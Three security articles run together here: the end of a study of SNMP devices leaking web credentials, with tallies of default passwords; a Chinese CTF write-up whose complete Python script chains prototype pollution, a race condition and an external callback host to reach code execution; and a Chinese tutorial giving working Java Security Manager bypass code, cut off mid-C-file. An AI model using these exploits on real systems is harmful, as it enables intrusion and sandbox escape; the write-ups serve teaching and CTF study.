the web system username via snmpset.
### 4\. Vulnerability Impact
We extracted 1,241,510 IP data on the ZoomEye Cyberspace Search Engine by
searching the "keywords" associated with the vulnerability
device[[5]](https://www.zoomeye.org/searchResult?q=MODEL%20%2BVENDOR%20%2Bport%3A%22161%22
"\[5\]").
By using `zmap` to perform a survival check on the 1.24 million IP data, we
found that there were around 230,000 surviving IPs. Further vulnerability
testing of these IPs revealed that there were 15882 target devices with this
sensitive information disclosure vulnerability, involving multiple firmware
versions of multiple models of 23 vendors.
According to the information aggregation of the 15882 vulnerability devices,
the statistics of the obtained vendors and versions are as follows (the
ZoomEye dork of each model is: Vendor +Model + corresponding model, such as
the syntax of searching DPC3928SL: Vendor +Model + DPC3928SL)
The vendor's distribution pie chart for the vulnerability device is as follows
(it is worth noting that the DPC3928SL gateway device is one of the most
severely affected network devices, originally owned by Cisco, now
Technicolor).
The top ten countries are distributed as follows, mainly in China, Thailand,
Korea and other countries.
For all devices with this vulnerability, we counted the use of the credential
as follows:
Common usernames, mainly including admin, login, user, dlink, etc.
Common passwords, mainly including admin, password, dream01, empty, br0adband,
gzcatvnet, user, Broadcom, dlink, ambit, root, etc., most of which are common
weak passwords.
Interestingly enough, we found the following most frequently used username and
password combinations, the vulnerability devices that use the most combined
credentials, and the countries in which these devices are located have some
relevance. (For example, the first line records: about 5502 of all devices in
China that contain this vulnerability use admin: admin as credentials. The
largest number of affected equipment models is Technicolor/CWA0101.)
### 5\. Summary
Undoubtedly, this is not a problem with the SNMP protocol itself, but a flaw
in the implementation code of the protocol or an ISP configuration error. This
vulnerability affects a large number of vendors and devices, and presents a
certain regionality.
Information disclosure vulnerabilities in IoT devices such as routers, modems,
and cameras are endless, posing a great threat to personal privacy. Turning
off unnecessary ports or using a firewall to restrict illegal access is a
worthwhile consideration.
The safety of the system often depends on the shortest piece of wood - the
"Wooden barrel effect". The SNMP protocol leaking HTTP service credentials is
a good illustration of this.
Users can verify the device's vulnerability based on the PoC and contact the
appropriate ISP to find a solution.
### 6\. REF
[1] SNMP protocol
<https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol>
[2] Seebug vulnerability database
<https://www.seebug.org/vuldb/ssvid-97741>
<https://www.seebug.org/vuldb/ssvid-97742>
<https://www.seebug.org/vuldb/ssvid-97736>
[3] Stringbleed
<https://stringbleed.github.io/>
[4] Discussion about the vulnerability
<https://www.reddit.com/r/netsec/comments/67qt6u/cve_20175135_snmp_authentication_bypass/>
[5] ZoomEye Cyberspace Search Engine
<https://www.zoomeye.org/searchResult?q=MODEL%20%2BVENDOR%20%2Bport%3A%22161%22>
* * * | 社区文章 |
# 2020年xnuca oooooooldjs题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目文件：
链接：<https://pan.baidu.com/s/1IQvksS6scyjj7u64gYiyQA>
提取码：lobd
题目描述
> `npm audit` may miss something, be careful of the version of `lodash`. There
> is prototype pollution in `express-validator`, limited but powerful。
npm audit发现lodash有原型链污染漏洞
# Run npm update lodash --depth 2 to resolve 1 vulnerability
Low Prototype Pollution
Package lodash
Dependency of express-validator
Path express-validator > lodash
More info https://npmjs.com/advisories/1523
在<https://snyk.io/test/npm/express-validator/2.21.0>
中查看lodash中出现原型链污染的地方，依次下断点
传入json数据:`{"233":123}`发现：
调用了存在原型链污染的set方法，且[233]不为object的键值，在这里可以触发原型链污染
一波测试后得到原型链污染的payload:`{".\"].__proto__[\"crossDomain":{"1":"2"}}`，但是不能控制原型链污染的值
审计题目代码发现，非常有意思的两个地方
1. 显眼的dangerous
2. 这里自己实现了数据库的CURD四种方法
学习了一波后发现第一点可以触发RCE
const { JSDOM } = require("jsdom");
new JSDOM(`
<body>
<script>
const outerRealmFunctionConstructor = Node.constructor;
const process = new outerRealmFunctionConstructor("return process")();
const require = process.mainModule.require;
// Game over!
const fs = require('fs');
console.log(fs.readdirSync('.'));
</script>
</body>
`, {
runScripts: "dangerously"
});
在util.js中定义了唯一会用到jsdom的函数
const {
JSDOM
} = require("jsdom")
const {
window
} = new JSDOM(``, {
url: originUrl,
runScripts: "dangerously"
})
// server side `$` XD
const $ = require('jquery')(window)
const requests = async (url, method) => {
let result = ""
try {
result = await $.ajax({
url: url,
type: method,
})
console.log(result)
} catch (err) {
console.log(err)
result = {
data: ""
}
}
return result.data
}
jquery的ajax有个特性是如果返回的content-type是text/javascript等代表着js脚本，那么便会执行js，结合上面的jsdom从而RCE，但是在低版本的话确实可以这么做，但是在高版本jquery进行了限制，如果是跨域请求便不会执行脚本
调试jquery代码发现：
这里会覆盖我们的content-type，继续调试发现设置crossDomain的逻辑
如果s.crossDomain == null就会进入是否跨域的判断
利用前面的原型链污染从而绕过jquery的跨域限制
还剩下一个问题，我们如何传入自己的url
express开着一个中间件限制了我们url,而且也不让更新url类型的数据
const middlewares = [
// should be
body('*').trim(),
body('type').if(body('type').exists()).bail().isIn(['url', 'text'])
.withMessage("type must be `url` or `text`"),
body('block').if(body('type').exists()).notEmpty()
.withMessage("no `block` content").bail()
.if(body('type').isIn(['url'])).isURL({
require_tld: false
})
.custom((value, {
req
}) => new URL(value).host === host)
.withMessage("invalid url!"),
(req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).json({
errors: errors.array()
})
}
next()
}
]
回到我们刚刚说的第二点有趣的地方，这个简单的数据库并不支持事务功能，也就是说删除type和data并不会同时删除是存在一定的时间差的，相关代码如下
D(id) {
let di, dt
for (const index in this.datas) {
if (this.datas[index].id === id) {
dt = this.types[index]
this.types.splice(index, 1)
di = index
}
}
if (dt === 'url') {
requests(this.datas[di].block, "DELETE").finally(()=>{
this.datas = this.datas.filter((value)=>value.id !== id)
})
} else {
this.datas = this.datas.filter((value)=>value.id !== id)
}
}
在删除了type后，他进行了一个相当耗时的操作：访问url，之后才删除data，又因为这里是一个链式删除，一个接着一个删除，所有type删除完后它可能才删除一个data
于是有：
import requests
challenge = "http://eci-2ze1whgyeh7v30y5j8yh.cloudeci1.ichunqiu.com:8888"
def insertUrl(url):
burp0_url = challenge+"/data"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"type": "url", "block": url}
result = {}
while True:
try:
result = requests.post(burp0_url, headers=burp0_headers, data=burp0_data).json()
except Exception as e:
continue
return result
def insertData(data):
burp0_url = challenge+"/data"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"type": "text", "block": data}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
return r.json()
def setLongLine(length=2000):
endId=""
url = "http://localhost:8888/data/fake-uuid"
count = 0
while count < length:
count+=1
data = insertUrl(url)
url = "http://localhost:8888/data/"+data["data"]["id"]
endId = data["data"]["id"]
return endId
def deleteUrl(id):
burp0_url = challenge+"/data/"+id
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
try:
requests.delete(burp0_url, headers=burp0_headers,timeout = 0.1)
except Exception as e:
print("开始删除数据")
def insertTryData(targetUrl):
id = insertData(targetUrl)["data"]["id"]
setLongLine(10)
return id
#填充数据
print("填充数据")
id = setLongLine(500)
targetId=insertTryData("http://ccreater.top:60006/")
print("数据填充完成")
#删除数据
deleteUrl(id)
#fuzz
burp0_url = challenge+"/data/"+targetId
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "Origin": "http://100.100.1.11:8888", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://100.100.1.11:8888/data", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_json={".\"].__proto__[\"crossDomain": {"1": "2"}}
print("开始爆破")
while True:
requests.get(burp0_url, headers=burp0_headers, json=burp0_json)
拿到flag | 社区文章 |
# java沙箱绕过
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近两年CTF比赛中出现了Python沙箱绕过，关于Python沙盒的文章比较多，其实Java也有沙箱。而恰好笔者在做安全测试的时候遇到了Java沙箱，于是研究了一下Java沙箱的绕过。虽然Java不像PHP和python那么灵活，但是Java沙箱能玩的地方还是挺多的。
文章脑图如下， **配合食用效果更佳**
。有错误或者疏漏的地方请各位指出，欢迎联系[[email protected]](mailto:[email protected])。
## 0x01 Java沙箱
Java沙箱由以下部分组成：
* 类加载器结构（例如命名空间）
* class文件校验器
* 内置于Java虚拟机（和Java语言）的安全特性（例如对指针操作的屏蔽等）
* Java安全管理器（Java Security Manager）和Java API组成
前三个基本都是 **内置** 实现在JVM和Java语言中的，只有Java安全管理器（Java Security
Manager）是能被开发者控制的，用来保护系统不被JVM中恶意的代码破坏的。这样， **绕过java沙箱其实就转化成绕过java security
manager** 。
Java Security
Manager的一个典型应用场景是jvm需要加载运行一段代码，但是这段代码是不可信的，例如来自用户的输入、上传、反序列化指定的bytecode或者来自网络远程加载，这种情况下，需要防止不可信来源的恶意代码对系统造成破坏。其实这就是沙箱的应用场景。
## 0x02 Java Security Manager介绍
在java后面加一个参数即可打开Java Security Manager，
-Djava.security.manager
java提供了默认的Java Security
Manager实现类，如果你想自定义自己的实现，可以在java.security.manager加等号指定。例如：
java -Djava.security.manager=net.sourceforge.prograde.sm.ProGradeJSM
这样就指定了net.sourceforge.prograde.sm.ProGradeJSM作为实现，在绝大多数情况下，我们都使用原生的实现，一些第三方实现也只是扩展了策略文件的功能而已，那么什么是策略文件呢？
策略(policy)文件是一个配置文件，指定了哪些类有哪些权限。指定策略文件的命令如下：
java -Djava.security.manager -Djava.security.policy=./security.policy -jar a.jar
一般我们需要指定哪些类有哪些权限，编辑policy文件就可以了。
上面说了，policy文件的作用是指定哪些类有哪些权限。policy怎么指定这些类的呢？指定类名吗？并不是，policy文件根据`类的url和类的签名`来确定类，指定权限，例如：
grant signedBy "Duke" {
permission java.io.FilePermission "/tmp/*", "read,write";
};
grant codeBase "file:/home/sysadmin/*" {
permission java.security.SecurityPermission "Security.insertProvider.*";
permission java.security.SecurityPermission "Security.removeProvider.*";
permission java.security.SecurityPermission "Security.setProperty.*";
};
policy文件的具体语法参看[这里](https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html)。
根据java的设计，一个类的url和签名组成了这个类的CodeSource，根据policy文件的配置，一个CodeSource有一定的权限。一个类的CodeSource和它的权限构成了这个类的ProtectionDomain。如下图
一个类的ProtectionDomain在这个类加载的时候初始化，在java.lang.ClassLoader中：
@Deprecated
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
这里调用了defineClass(null, b, off, len,
null)，最后一个参数null是ProtectionDomain的值，这个函数的实现如下：
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);//初始化这个类的ProtectionDomain
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
一个类的ProtectionDomain我们已经搞清楚了，那么ProtectionDomain有什么用？Java Security
Manager是怎么做安全监测的呢？
当调用一个需要权限的类时，例如读写文件、执行命令、开关socket等。这个类会调用SecurityManager.checkXXX()，如果SecurityManager判定有权限，这个方法会默默返回，否则抛出安全异常。以读文件FileInputStream为例
public FileInputStream(File file) throws FileNotFoundException {
String name = (file != null ? file.getPath() : null);
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkRead(name);//权限检查
}
if (name == null) {
throw new NullPointerException();
}
if (file.isInvalid()) {
throw new FileNotFoundException("Invalid file path");
}
fd = new FileDescriptor();
fd.attach(this);
path = name;
open(name);
}
读文件是SecurityManager.checkRead方法，写文件是SecurityManager.checkWrite方法，这些checkXXX方法最后都会调用SecurityManager.checkPermission方法，调用链如下图所示。
SecurityManager.checkXXX()
|
V
·······
|
V
SecurityManager.checkPermission()
| 在默认的Security Manager实现中
V
AccessController.checkPermission()
如上图，在默认的Security
Manager实现中，真正的检查权限这个操作是由AccessController.checkPermission()这个方法实现的。下面我们来看看权限是怎么检查的。
当AccessController.checkPermission()被调用时，AccessController会自顶向下遍历当前栈（入栈到栈顶），栈由栈帧组成，每一个栈帧都是一个方法调用形成的，每个方法都属于一个类，每个类都有一个ProtectionDomain，则一个栈帧对应一个ProtectionDomain。AccessController遍历栈帧，如果某个栈帧对应的ProtectionDomain没有check的权限，则抛出异常。
同时，为了解决某些问题，AccessController还提供了doPrivilege方法，当这个方法被调用时，AccessController亦会自顶向下遍历当前栈，不过只会遍历到调用doPrivileged方法的栈帧就会停止。例如Main.main调用Class1.fun1()，Class1.fun1()调用了doPrivileged方法，在doPrivileged方法中进行了一些操作，AccessController的检查只会遍历到Class1.fun1()，看Class1是否有权限。
很明显，doPrivileged是非常危险的，因为它截断了AccessController的检查。之前Java Security
Manager出过的几次漏洞都跟jdk类库不当调用doPrivileged方法，而doPrivileged方法中执行的操作能被用户代码控制有关。因为默认情况下，jdk类库是有所有权限的，即使调用jdk的用户代码没有权限，AccessController也不会再向下检查了。
## 0x03 Java Security Manager的绕过
在某些情况下，赋予某些权限时，恶意代码可以利用这些权限，导致Java Security Manager完全失效。下面我们看看一些实例
### 单等号+home目录可写导致Java Security Manager绕过
jre/lib/security/java.security是java中指定安全配置文件，在配置文件中指定了两个默认的policy文件：
# The default is to have a single system-wide policy file,
# and a policy file in the user's home directory.
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy
而通过`-Djava.security.policy`指定policy文件时，如果参数后面是一个等号，例如`-Djava.security.policy=java.policy`，java.policy会加在上面的两个policy文件之后。在默认情况下，家目录下没有.java.policy这个文件，如果家目录可写，则恶意代码可以通过写.java.policy文件，授予自己更多的权限来绕过Java
Security Manager。如下图所示，policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java security
manager机制，逃逸沙箱。
java.policy:
grant {
permission java.io.FilePermission "C:\Users\Administrator\-", "read,write";
};
exp代码：<https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/rewrite-home-policy>
修复方法：`-Djava.security.policy==java.policy`，用双等于号指定policy文件。
### 通过setSecurityManager绕过Java Security Manager
java security
manager不仅能通过参数`-Djava.security.policy==java.policy`指定，还可以在运行时通过`System.setSecurityManager()`方法指定。如果被授予setSecurityManager权限，恶意代码可以在运行时调用setSecurityManager方法，将java
security manager置为null，绕过Java Security Manager。
java.policy如下
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};
绕过poc
System.setSecurityManager(null);
如下图所示，同样policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java security manager机制，逃逸沙箱。
java.policy:
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};
exp代码：<https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/set-security-manager>
修复方法：不授予不可信的代码setSecurityManager权限。
### 通过反射绕过Java Security Manager
如果读者跟了上面的`System.setSecurityManager`这个方法的话，可以看到这个方法最后直接把参数直接赋予了System类中的security变量。
private static synchronized
void setSecurityManager0(final SecurityManager s) {
SecurityManager sm = getSecurityManager();
if (sm != null) {
// ask the currently installed security manager if we
// can replace it.
sm.checkPermission(new RuntimePermission
("setSecurityManager"));
}
if ((s != null) && (s.getClass().getClassLoader() != null)) {
// New security manager class is not on bootstrap classpath.
// Cause policy to get initialized before we install the new
// security manager, in order to prevent infinite loops when
// trying to initialize the policy (which usually involves
// accessing some security and/or system properties, which in turn
// calls the installed security manager's checkPermission method
// which will loop infinitely if there is a non-system class
// (in this case: the new security manager class) on the stack).
AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
s.getClass().getProtectionDomain().implies
(SecurityConstants.ALL_PERMISSION);
return null;
}
});
}
security = s;//赋值在这里~
}
如果被赋予了反射权限，那么是否能通过反射直接把security置为null，使java security manager失效呢？我们试验一下：
java.policy如下
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};
反射代码
public static void setSecurityByReflection(){
try {
Class clz = Class.forName("java.lang.System");
Field field=clz.getDeclaredField("security");
field.setAccessible(true);
field.set(System.class,null);
}catch (Exception e){
e.printStackTrace();
}
}
竟然报异常
java.lang.NoSuchFieldException: security
at java.lang.Class.getDeclaredField(Class.java:2070)
at evil.Poc.setSecurityByReflection(Poc.java:35)
at evil.Poc.main(Poc.java:16)
不科学啊，反复试了几次，发现java.lang.System中其他变量都可以反射，就security变量不行。（这个坑调试了一下午=_=||）
不死心，跟了一下getDeclaredField方法，发现在sun.reflect.Reflection中定义了一个fieldFilterMap，指定了几个禁止反射的变量。
static {
HashMap var0 = new HashMap();
var0.put(Reflection.class, new String[]{"fieldFilterMap", "methodFilterMap"});
var0.put(System.class, new String[]{"security"});
var0.put(Class.class, new String[]{"classLoader"});
fieldFilterMap = var0;
methodFilterMap = new HashMap();
}
其中就包括System.class中的security变量以及fieldFilterMap本身。在getDeclaredField中，调用了过滤fields的方法，过滤了这些变量。
public static Field[] filterFields(Class<?> var0, Field[] var1) {
return fieldFilterMap == null?var1:(Field[])((Field[])filter(var1, (String[])fieldFilterMap.get(var0)));
}
看来，通过反射直接修改security是不行的了。这游戏真难。
然而，java的反射何其强大，既然负责检查的检察官java security
manager不可修改，那我就修改你检查的材料—ProtectionDomain。于是我看了一下ProtectionDomain类：
java.security.ProtectionDomain
public class ProtectionDomain {
//.....省略部分代码
static {
// Set up JavaSecurityAccess in SharedSecrets
SharedSecrets.setJavaSecurityAccess(new JavaSecurityAccessImpl());
}
/* CodeSource */
private CodeSource codesource ;
/* ClassLoader the protection domain was consed from */
private ClassLoader classloader;
/* Principals running-as within this protection domain */
private Principal[] principals;
/* the rights this protection domain is granted */
private PermissionCollection permissions;
/* if the permissions object has AllPermission */
private boolean hasAllPerm = false;
/* the PermissionCollection is static (pre 1.4 constructor)
or dynamic (via a policy refresh) */
private boolean staticPermissions;
//.....省略部分代码
如前面所说，一个类的CodeSource和permissions构成了这个类的ProtectionDomain，亦可通过这里来验证。仔细看一遍，发现hasAllPerm可能是个软柿子，应该是一个标记这个类是否有所有权限的布尔变量。利用反射，把它置为true应当可以使当前类获取所有权限。
但是AccessController会沿着栈自顶向下检查，必须所有栈帧都有权限才能通过。不慌，那我们也遍历所有栈帧，将所有栈帧中的所有类的ProtectionDomain中的hasAllPerm置为true。代码如下：
public static void setHasAllPerm(){
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
//遍历栈帧
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
//反射当前栈帧中的类
Class clz = Class.forName(stackTraceElement.getClassName());
Field field = clz.getProtectionDomain().getClass().getDeclaredField("hasAllPerm");
//压制java的访问检查
field.setAccessible(true);
//把hasAllPerm置为true
field.set(clz.getProtectionDomain(), true);
}catch (Exception e){
e.printStackTrace();
}
}
exec("calc");
}
运行一下，又抛出了异常
java.security.AccessControlException: access denied ("java.lang.RuntimePermission" "getProtectionDomain")
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
at java.security.AccessController.checkPermission(AccessController.java:884)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
at java.lang.Class.getProtectionDomain(Class.java:2299)
at evil.Poc.setHasAllPerm(Poc.java:43)
at evil.Poc.main(Poc.java:19)
没有getProtectionDomain的权限。我们看看getProtectionDomain的实现：
public java.security.ProtectionDomain getProtectionDomain() {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
//在这里检查权限
sm.checkPermission(SecurityConstants.GET_PD_PERMISSION);
}
//调用native方法获取ProtectionDomain
java.security.ProtectionDomain pd = getProtectionDomain0();
if (pd == null) {
if (allPermDomain == null) {
java.security.Permissions perms =
new java.security.Permissions();
perms.add(SecurityConstants.ALL_PERMISSION);
allPermDomain =
new java.security.ProtectionDomain(null, perms);
}
pd = allPermDomain;
}
return pd;
}
private native java.security.ProtectionDomain getProtectionDomain0();
getProtectionDomain方法中，先检查了权限，然后再调用私有的原生方法getProtectionDomain0来完成getProtectionDomain。那么我们完全可以通过反射直接运行getProtectionDomain0方法，从而绕过对getProtectionDomain方法的权限检查。代码如下：
public static void setHasAllPerm0(){
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
//遍历栈帧
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
Class clz=Class.forName(stackTraceElement.getClassName());
//利用反射调用getProtectionDomain0方法
Method getProtectionDomain=clz.getClass().getDeclaredMethod("getProtectionDomain0",null);
getProtectionDomain.setAccessible(true);
ProtectionDomain pd=(ProtectionDomain) getProtectionDomain.invoke(clz);
if(pd!=null){
Field field=pd.getClass().getDeclaredField("hasAllPerm");
field.setAccessible(true);
field.set(pd,true);
}
}catch (Exception e){
e.printStackTrace();
}
}
exec("calc");
}
运行，如下图所示，同样policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java security manager机制，逃逸沙箱。
java.policy:
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};
exp地址：<https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/bypass-by-reflection>
修复方法：不授予accessDeclaredMembers权限和suppressAccessChecks权限。
然而在java中，反射是一个非常常见的操作，如果由于业务需要，无法禁用反射，可以设置禁止反射的方法和变量的黑名单。还记得上面无法反射System类中security的原因吗？在sun.reflect.Reflection中定义了静态的methodFilterMap和fieldMethodMap，在这里面的方法和变量禁止反射。sun.reflect.Reflection还提供了几个方法，可以往methodFilterMap和fieldMethodMap中添加自定义的黑名单。代码如下：
public static synchronized void registerFieldsToFilter(Class<?> var0, String... var1) {
fieldFilterMap = registerFilter(fieldFilterMap, var0, var1);
}
public static synchronized void registerMethodsToFilter(Class<?> var0, String... var1) {
methodFilterMap = registerFilter(methodFilterMap, var0, var1);
}
这样，只需要在加载恶意代码之前，把禁止反射的黑名单加入这两个map即可。
使用这种方式时，需要注意，有些方法的实现是，在public方法里面调用security
manager检查权限，然后调用一个protect或者private方法实现功能。这样，攻击者可以直接反射实现功能的方法，绕过security
manager的检查。例如平时我们调用`Runtime.getRuntime().exec(command)`，调用链如下：
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
这里执行命令的功能是调用ProcessBuilder实现的。我们跟进去看一下start方法：
public Process start() throws IOException {
//省略部分代码
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
//在这里检查了是否有执行命令的权限
//省略部分代码
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
}
//最后调用ProcessImpl.start实现这个功能。
//省略部分代码
}
从代码中我们看到，正如前面所说，完成功能的是ProcessImpl.start方法，而在这个方法调用之前，security
manager就已经完成了检测，于是，反射这个方法，调用它，就可以绕过检测。代码如下
public static void executeCommandWithReflection(String command){
try {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz,new String[]{command},null,null,null,false);
}catch (Exception e){
e.printStackTrace();
}
}
### 创建类加载器绕过java security manager
如前面所说，一个类的ProtectionDomain在这个类被类加载器加载时初始化，如果我们能自定义一个类加载器，加载一个恶意类，并且把它的ProtectionDomain里面的权限初始化成所有权限，这个恶意类不就可以有所有权限了吗？即便如此，这个恶意类被调用时，它仅仅是栈中的一个栈帧，在它下面的栈帧对应的权限仍是policy文件指定的权限。
这个时候就是doPrivileged发挥作用的时候了，如上面所说，AccessController会自顶向下遍历栈帧，如果遍历到doPrivileged，它会检查到调用doPrivileged方法的栈帧为止。只要我们在恶意类中调用doPrivileged方法，AccessController只会向下遍历检查到恶意类所在的栈帧，而恶意类对应的权限是所有权限，这样就可以绕过Java
Security Manager。
java.policy如下，这里需要读class文件，所以需要读文件权限
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};
恶意类：com.evil.EvilClass
public class EvilClass {
static{
//在doPrivileged中执行恶意操作
AccessController.doPrivileged(new PrivilegedAction() {
@Override
public Object run() {
try {
Process process = Runtime.getRuntime().exec("calc");
return null;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
});
}
}
自定义类加载器：
public class MyClassLoader extends ClassLoader
{
//.....省略部分代码
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException
{
File file = getClassFile(name);
try
{
//获取byte数组的字节码
byte[] bytes = getClassBytes(file);
//这里没有调用父类的defineClass方法，而是调用了下面的defineClazz方法。
Class<?> c = defineClazz(name, bytes, 0, bytes.length);
return c;
}
catch (Exception e)
{
e.printStackTrace();
}
return super.findClass(name);
}
//在这个自定义的defineClazz方法中
protected final Class<?> defineClazz(String name, byte[] b, int off, int len)
throws ClassFormatError
{
try {
PermissionCollection pc=ClassLoader.class.getProtectionDomain().getPermissions();
//赋予ClassLoader类的权限，其实就是所有权限
ProtectionDomain pd=new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
pc, this, null);
//调用父类的defineClass完成功能
return this.defineClass(name, b, off, len, pd);
}catch (Exception e){
return null;
}
}
//.....省略部分代码
}
在findClass方法中，我们并没有直接调用父类的defineClass方法，因为在父类的defineClass方法中：
java.lang.ClassLoader line639
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
//最后一个参数是传入的ProtectionDomain
//这个函数的实现抄录在下面
return defineClass(name, b, off, len, null);
}
跟一下defineClass
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
//preDefineClass的实现在下面
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
跟一下preDefineClass
private ProtectionDomain preDefineClass(String name,
ProtectionDomain pd)
{
if (!checkName(name))
throw new NoClassDefFoundError("IllegalName: " + name);
// Note: Checking logic in java.lang.invoke.MemberName.checkForTypeAlias
// relies on the fact that spoofing is impossible if a class has a name
// of the form "java.*"
if ((name != null) && name.startsWith("java.")) {
throw new SecurityException
("Prohibited package name: " +
name.substring(0, name.lastIndexOf('.')));
}
if (pd == null) {
pd = defaultDomain;
}
if (name != null) checkCerts(name, pd.getCodeSource());
return pd;
}
传入的默认ProtectionDomain是null。我们调用了defineClazz方法，赋予了加载的类所有的权限，然后传入defineClass方法，完成类加载过程。如下图所示，同样policy文件没有赋予文件的执行权限，却执行calc成功，成功绕过java
security manager机制，逃逸沙箱。
java.policy:
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};
exp地址：<https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/bypass-by-createclassloader>
修复方法：禁止createClassLoader
### 本地方法调用绕过Java Security Manager
Java Security Manager是在java核心库中的一个功能，而java中native方法是由jvm执行的，不受java security
manager管控。因此，我们可以调用java native方法，绕过java security manager。
java.policy
grant{
permission java.lang.RuntimePermission "loadLibrary.*";
permission java.io.FilePermission "/root/-", "read";
};
声明一个native方法：
package com.evil;
public class EvilMethodClass {
//加载动态链接库
static {
System.load("/root/libEvilMethodClass.so");
}
//声明一个native方法
public static native String evilMethod(String name);
}
生成.h头
javac src/com/evil/EvilMethodClass.java -d ./bin
javah -jni -classpath ./bin -d ./jni com.evil.EvilMethodClass
javah -jni -classpath ./bin -o EvilMethodClass.h com.evil.EvilMethodClass
新建EvilMethodClass.c
#include "com_evil_EvilMethodClass.h"
#include<stdlib.h>
#ifdef __cplusplus
extern "C"
{
#endif
JNIEXPORT jstring JNICALL Java_com_evil_EvilMethodClass_evilMethod(
JNIEnv *env, jclass cls, jstring j_str)
{
const char *c_str = NULL;
char buff[128] = { 0 };
c_str = (*env)->GetStringUTFChars(env, j_str, NULL);
if (c_str == NULL)
{
printf("out of memory.n");
return NULL;
}
